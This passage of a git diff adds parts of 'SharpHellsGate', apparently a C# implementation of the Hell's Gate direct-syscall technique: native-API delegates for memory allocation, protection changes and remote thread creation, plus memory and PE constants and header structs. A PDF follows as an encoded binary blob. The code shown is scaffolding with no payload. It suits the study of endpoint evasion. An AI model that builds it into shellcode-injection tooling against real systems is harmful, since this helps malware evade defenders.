pointer to a variable that will receive the base address of the allocated region of pages. + /// The number of high-order address bits that must be zero in the base address of the section view. + /// A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages. + /// A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages. + /// A bitmask containing page protection flags that specify the protection desired for the committed region of pages. + /// NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtAllocateVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + IntPtr ZeroBits, + ref IntPtr RegionSize, + UInt32 AllocationType, + UInt32 Protect + ); + + /// + /// Managed wrapper around the NtProtectVirtualMemory native Windows function. + /// + /// Handle to Process Object opened with PROCESS_VM_OPERATION access. + /// Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address. + /// Pointer to size of region to protect. On output will be round to page size (4KB). + /// One or some of PAGE_... attributes. + /// Receive previous protection. + /// NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtProtectVirtualMemory( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + ref IntPtr RegionSize, + UInt32 NewProtect, + out UInt32 OldProtect + ); + + /// + /// Managed wrapper around the NtCreateThreadEx native Windows function. + /// + /// Caller supplied storage for the resulting handle. + /// Specifies the allowed or desired access to the thread. + /// Initialized attributes for the object. + /// Handle to the threads parent process. + /// Address of the function to execute. + /// Parameters to pass to the function. + /// Whether the thread will be in suspended mode and has to be resumed later. + /// + /// Initial stack memory to commit. + /// Initial stack memory to reserve. + /// + /// NtCreateThreadEx returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtCreateThreadEx( + ref IntPtr hThread, + uint DesiredAccess, + IntPtr ObjectAttributes, + IntPtr ProcessHandle, + IntPtr lpStartAddress, + IntPtr lpParameter, + bool CreateSuspended, + uint StackZeroBits, + uint SizeOfStackCommit, + uint SizeOfStackReserve, + IntPtr lpBytesBuffer + ); + + /// + /// Managed wrapper around the NtWaitForSingleObject native Windows function. + /// + /// Open handle to a alertable executive object. + /// If set, calling thread is signaled, so all queued APC routines are executed. + /// Time-out interval, in microseconds. NULL means infinite. + /// NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code. + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtWaitForSingleObject( + IntPtr ObjectHandle, + bool Alertable, + ref Structures.LARGE_INTEGER TimeOut + ); + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs new file mode 100644 index 0000000..0f69a95 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Macros.cs @@ -0,0 +1,78 @@ +using System; + +namespace SharpHellsGate.Win32 { + + /// + /// Windows Macros used for error and success codes and bitmasks. + /// + public static class Macros { + + // NTSTATUS + public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF; + public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF; + public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF; + public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF; + + // Common NTSTATUS + public static UInt32 STATUS_SUCCESS { get; } = 0x00000000; + public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001; + public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002; + + // Portable Executable + public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ + public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00 + + // Pseudo-Handles + public static IntPtr GetCurrentProcess() => new IntPtr(-1); + public static IntPtr GetCurrentThread() => new IntPtr(-2); + public static IntPtr GetCurrentProcessToken() => new IntPtr(-4); + public static IntPtr GetCurrentThreadToken() => new IntPtr(-5); + public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6); + + // Page and Memory permissions + public static UInt32 PAGE_NOACCESS { get; } = 0x01; + public static UInt32 PAGE_READONLY { get; } = 0x02; + public static UInt32 PAGE_READWRITE { get; } = 0x04; + public static UInt32 PAGE_WRITECOPY { get; } = 0x08; + public static UInt32 PAGE_EXECUTE { get; } = 0x10; + public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20; + public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40; + public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80; + public static UInt32 PAGE_GUARD { get; } = 0x100; + public static UInt32 PAGE_NOCACHE { get; } = 0x200; + public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400; + public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800; + public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000; + public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000; + public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000; + public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000; + public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000; + public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000; + public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000; + public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000; + public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000; + public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000; + public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000; + public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000; + public static UInt32 MEM_COMMIT { get; } = 0x00001000; + public static UInt32 MEM_RESERVE { get; } = 0x00002000; + public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000; + public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000; + public static UInt32 MEM_RESET { get; } = 0x00080000 ; + public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000; + public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000; + public static UInt32 MEM_PHYSICAL { get; } = 0x00400000; + public static UInt32 MEM_ROTATE { get; } = 0x00800000; + public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000; + public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000; + public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000; + public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000; + public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL); + public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001; + public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001; + public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002; + public static UInt32 MEM_DECOMMIT { get; } = 0x00004000; + public static UInt32 MEM_RELEASE { get; } = 0x00008000; + public static UInt32 MEM_FREE { get; } = 0x00010000; + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs new file mode 100644 index 0000000..63c5d70 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/Structures.cs @@ -0,0 +1,128 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpHellsGate.Win32 { + public static class Structures { + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_DOS_HEADER { + public UInt16 e_magic; /*+0x000*/ + public UInt16 e_cblp; /*+0x002*/ + public UInt16 e_cp; /*+0x004*/ + public UInt16 e_crlc; /*+0x006*/ + public UInt16 e_cparhdr; /*+0x008*/ + public UInt16 e_minalloc; /*+0x00a*/ + public UInt16 e_maxalloc; /*+0x00c*/ + public UInt16 e_ss; /*+0x00e*/ + public UInt16 e_sp; /*+0x010*/ + public UInt16 e_csum; /*+0x012*/ + public UInt16 e_ip; /*+0x014*/ + public UInt16 e_cs; /*+0x016*/ + public UInt16 e_lfarlc; /*+0x018*/ + public UInt16 e_ovno; /*+0x01a*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public UInt16[] e_res; /*+0x01c*/ + public UInt16 e_oemid; /*+0x024*/ + public UInt16 e_oeminfo; /*+0x026*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public UInt16[] e_res2; /*+0x028*/ + public UInt32 e_lfanew; /*+0x03c*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER { + public UInt16 Machine; /*+0x000*/ + public UInt16 NumberOfSections; /*+0x002*/ + public UInt32 TimeDateStamp; /*+0x004*/ + public UInt32 PointerToSymbolTable; /*+0x008*/ + public UInt32 NumberOfSymbols; /*+0x00c*/ + public UInt16 SizeOfOptionalHeader; /*+0x010*/ + public UInt16 Characteristics; /*+0x012*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_DATA_DIRECTORY { + public UInt32 VirtualAddress; /*+0x000*/ + public UInt32 Size; /*+0x004*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER64 { + public UInt16 Magic; /*+0x000*/ + public Byte MajorLinkerVersion; /*+0x002*/ + public Byte MinorLinkerVersion; /*+0x003*/ + public UInt32 SizeOfCode; /*+0x004*/ + public UInt32 SizeOfInitializedDatal; /*+0x008*/ + public UInt32 SizeOfUninitializedData; /*+0x00c*/ + public UInt32 AddressOfEntryPoint; /*+0x010*/ + public UInt32 BaseOfCode; /*+0x014*/ + public UInt64 ImageBasel; /*+0x018*/ + public UInt32 SectionAlignment; /*+0x020*/ + public UInt32 FileAlignment; /*+0x024*/ + public UInt16 MajorOperatingSystemVersion; /*+0x028*/ + public UInt16 MinorOperatingSystemVersion; /*+0x02a*/ + public UInt16 MajorImageVersion; /*+0x02c*/ + public UInt16 MinorImageVersion; /*+0x02e*/ + public UInt16 MajorSubsystemVersion; /*+0x030*/ + public UInt16 MinorSubsystemVersion; /*+0x032*/ + public UInt32 Win32VersionValue; /*+0x034*/ + public UInt32 SizeOfImage; /*+0x038*/ + public UInt32 SizeOfHeaders; /*+0x03c*/ + public UInt32 CheckSum; /*+0x040*/ + public UInt16 Subsystem; /*+0x044*/ + public UInt16 DllCharacteristics; /*+0x046*/ + public UInt64 SizeOfStackReserve; /*+0x048*/ + public UInt64 SizeOfStackCommit; /*+0x050*/ + public UInt64 SizeOfHeapReserve; /*+0x058*/ + public UInt64 SizeOfHeapCommit; /*+0x060*/ + public UInt32 LoaderFlags; /*+0x068*/ + public UInt32 NumberOfRvaAndSizes; /*+0x06c*/ + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_NT_HEADERS64 { + public UInt32 Signature; /*+0x000*/ + public IMAGE_FILE_HEADER FileHeader; /*+0x004*/ + public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_EXPORT_DIRECTORY { + public UInt32 Characteristics; /*+0x000*/ + public UInt32 TimeDateStamp; /*+0x004*/ + public UInt16 MajorVersion; /*+0x008*/ + public UInt16 MinorVersion; /*+0x00a*/ + public UInt32 Name; /*+0x00c*/ + public UInt32 Base; /*+0x010*/ + public UInt32 NumberOfFunctions; /*+0x014*/ + public UInt32 NumberOfNames; /*+0x018*/ + public UInt32 AddressOfFunctions; /*+0x01c*/ + public UInt32 AddressOfNames; /*+0x020*/ + public UInt32 AddressOfNameOrdinals; /*+0x024*/ + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_SECTION_HEADER { + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] + public string Name; /*+0x000*/ + public UInt32 Misc; /*+0x008*/ + public UInt32 VirtualAddress; /*+0x00c*/ + public UInt32 SizeOfRawData; /*+0x010*/ + public UInt32 PointerToRawData; /*+0x014*/ + public UInt32 PointerToRelocations; /*+0x018*/ + public UInt32 PointerToLinenumbers; /*+0x01c*/ + public UInt16 NumberOfRelocations; /*+0x020*/ + public UInt16 NumberOfLinenumbers; /*+0x022*/ + public UInt32 Characteristics; /*+0x024*/ + } + + [StructLayout(LayoutKind.Explicit, Size = 1)] + public struct LARGE_INTEGER { + [FieldOffset(0)] public Int64 QuadPart; /*+0x000*/ + [FieldOffset(0)] public UInt32 LowPart; /*+0x000*/ + [FieldOffset(4)] public UInt32 HighPart; /*+0x004*/ + } + } +} diff --git a/Hells Gate/HellsGate.pdf b/Hells Gate/HellsGate.pdf new file mode 100644 index 0000000000000000000000000000000000000000..5cfa4e0425c74ef712626b490f11a0f2ece70404 GIT binary patch literal 381301 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 